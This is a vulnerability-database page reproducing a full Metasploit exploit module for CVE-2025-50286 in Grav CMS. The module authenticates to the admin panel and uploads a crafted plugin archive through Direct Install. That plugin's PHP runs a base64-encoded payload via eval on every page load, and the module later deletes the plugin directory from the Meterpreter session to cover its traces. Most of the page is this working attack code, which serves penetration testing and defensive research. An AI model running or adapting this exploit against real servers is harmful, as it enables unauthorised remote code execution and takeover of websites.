Lucene search
K

Grav CMS Admin Direct Install Authenticated Plugin Upload RCE

🗓️ 31 Mar 2026 19:02:01Reported by binneko, x1o3Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 213 Views

Grav CMS authenticated Direct Install RCE in vulnerable versions via admin plugin upload.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-50286
6 Aug 202500:00
attackerkb
Circl
CVE-2025-50286
6 Aug 202517:50
circl
CNNVD
Grav CMS 安全漏洞
6 Aug 202500:00
cnnvd
CNVD
Grav CMS Remote Code Execution Vulnerability
18 Aug 202500:00
cnvd
CVE
CVE-2025-50286
6 Aug 202500:00
cve
Cvelist
CVE-2025-50286
6 Aug 202500:00
cvelist
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Getgrav Grav
28 Feb 202617:39
githubexploit
GithubExploit
Exploit for CVE-2025-50286
5 Aug 202501:46
githubexploit
Exploit DB
Grav CMS 1.7.48 - Remote Code Execution (RCE)
11 Aug 202500:00
exploitdb
EUVD
EUVD-2025-23842
3 Oct 202520:07
euvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grav CMS Admin Direct Install Authenticated Plugin Upload RCE',
        'Description' => %q{
          Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is
          vulnerable to authenticated remote code execution via the
          "Direct Install" feature in the administrative interface.

          An authenticated administrator can upload a crafted plugin
          archive containing arbitrary PHP code. The uploaded plugin
          is written to disk and executed by the application, allowing
          command execution in the context of the web server user.

          This module authenticates to the admin panel, uploads a
          malicious plugin via /admin/tools/direct-install, and
          triggers execution of the embedded payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'binneko',      # Original PoC / EDB
          'x1o3'          # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-50286'],
          ['EDB', '52402'],
          ['URL', 'https://github.com/getgrav/grav'],
        ],
        'DisclosureDate' => '2025-08-07',
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'PHP Payload',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base Path', '/']),
        OptString.new('USERNAME', [true, 'Admin username']),
        OptString.new('PASSWORD', [true, 'Admin password']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200

    html = res.get_html_document
    return CheckCode::Unknown('Could not parse HTML') unless html

    return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
    return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)

    cms_version, admin_version = get_version_after_login
    return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version
    return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version

    version = Rex::Version.new(cms_version)
    if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0')
      vuln = true
    end

    if admin_version
      plugin_version = Rex::Version.new(admin_version)
      if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln
        return CheckCode::Appears("\n    - Grav CMS #{version} is vulnerable\n    - Admin Plugin v#{plugin_version} is vulnerable")
      end
    end

    return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln

    CheckCode::Safe("Admin Plugin v#{plugin_version} is not vulnerable")
  end

  def exploit
    print_status('Authenticating to Grav admin...')
    login

    plugin_name = (Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(17)).downcase
    @name = plugin_name
    zip_data = build_plugin_zip(plugin_name)

    print_status('Uploading plugin via Direct Install...')
    upload_plugin(zip_data, plugin_name)
  end

  def grav_installation?(html)
    grav_checks = [
      html.at('//*[@data-gpm-grav]'),
      html.at('//*[@data-grav-field]'),
      html.at('//*[@data-grav-disabled]'),
      html.at('//*[@data-grav-default]')
    ]

    grav_checks.count { |elem| !elem.nil? } >= 2
  end

  def login_form_present?(html)
    username_input = html.at('input[@name="data[username]"]')
    password_input = html.at('input[@name="data[password]"]')

    username_input && password_input
  end

  def get_version_after_login
    result = authenticate
    return nil unless result == :success || result == :already_authenticated

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return nil unless res && res.code == 200

    html = res.get_html_document
    return nil unless html

    cms_elem = html.at('span.grav-version')
    cms_version = cms_elem.text.strip
    parent_text = cms_elem.parent.text.gsub(/\s+/, ' ')
    admin_version = parent_text[/Admin v([\d.]+)/, 1]
    return nil unless cms_version

    [cms_version, admin_version]
  end

  def authenticate
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return :connection_failed unless res

    html = res.get_html_document
    return :connection_failed unless html

    nonce = html.at('input[@name="login-nonce"]/@value')
    return :already_authenticated if nonce.nil? && html.at('span.grav-version')
    return :connection_failed unless nonce

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'vars_post' => {
        'data[username]' => datastore['USERNAME'],
        'data[password]' => datastore['PASSWORD'],
        'task' => 'login',
        'login-nonce' => nonce.text
      }
    )

    return :connection_failed unless res

    if [302, 303].include?(res.code)
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'admin'),
        'keep_cookies' => true
      )
      return :connection_failed unless res
    end

    return :login_failed if res.body.include?('name="login-nonce"')

    :success
  end

  def login
    print_status('Authenticating...')
    result = authenticate
    case result
    when :already_authenticated
      print_good('Already authenticated')
    when :success
      print_good('Login successful')
    when :connection_failed
      fail_with(Failure::Unreachable, 'Connection failed')
    when :login_failed
      fail_with(Failure::NoAccess, 'Login failed')
    else
      fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
    end
  end

  def build_plugin_zip(plugin_name)
    php_code = generate_php_plugin(plugin_name)

    zip = Rex::Zip::Archive.new
    zip.add_file("#{plugin_name}plugin/", '')
    zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.php", php_code)
    zip.add_file("#{plugin_name}plugin/blueprints.yaml",
                 "name: #{plugin_name.capitalize}\ntype: plugin\nversion: 1.0.0\ndescription: Cute plugin\nform:\n fields: []")
    zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.yaml",
                 "enabled: true\ntext_var: Text by **#{plugin_name.capitalize} Plugin** plugin")
    zip.pack
  end

  def generate_php_plugin(plugin_name)
    b64_payload = Rex::Text.encode_base64(payload.encoded)
    class_name = "#{plugin_name.capitalize}pluginPlugin"
    Rex::Text.rand_text_alpha(8)

    <<~PHP
      <?php
      namespace Grav\\Plugin;
      use Grav\\Common\\Plugin;

      class #{class_name} extends Plugin
      {
          public static function getSubscribedEvents()
          {
              return [
                  'onPagesInitialized' => ['onPagesInitialized', 0]
              ];
          }

          public function onPagesInitialized()
          {
              @eval(base64_decode('#{b64_payload}'));
          }
      }
    PHP
  end

  def build_multipart_body(nonce, zip_data, plugin_name)
    mime = Rex::MIME::Message.new
    mime.add_part('directInstall', nil, nil, 'form-data; name="task"')
    mime.add_part(nonce, nil, nil, 'form-data; name="admin-nonce"')
    mime.add_part(
      zip_data,
      'application/zip',
      'binary',
      "form-data; name=\"uploaded_file\"; filename=\"#{plugin_name}.zip\""
    )
    mime
  end

  def upload_plugin(zip_data, plugin_name)
    install_uri = normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')

    res = send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
    fail_with(Failure::Unreachable, 'No response fetching install page') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    nonce = res.body.match(/name="admin-nonce"\s+value="([^"]+)"/)&.captures&.first
    fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce

    mime = build_multipart_body(nonce, zip_data, plugin_name)

    res2 = send_request_cgi(
      'method' => 'POST',
      'uri' => install_uri,
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
    fail_with(Failure::Unreachable, 'No response during plugin upload') unless res2

    if [301, 302, 303].include?(res2.code)
      vprint_status("Upload redirected (#{res2.code}), following...")
      send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
    end
  end

  def on_new_session(session)
    return unless session.type == 'meterpreter'

    super
    plugin_dir = "user/plugins/#{@name}plugin"
    print_status("Cleaning up plugin directory: #{plugin_dir}")
    session.sys.process.execute("rm -rf #{plugin_dir}")
    print_good('Plugin directory removed')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation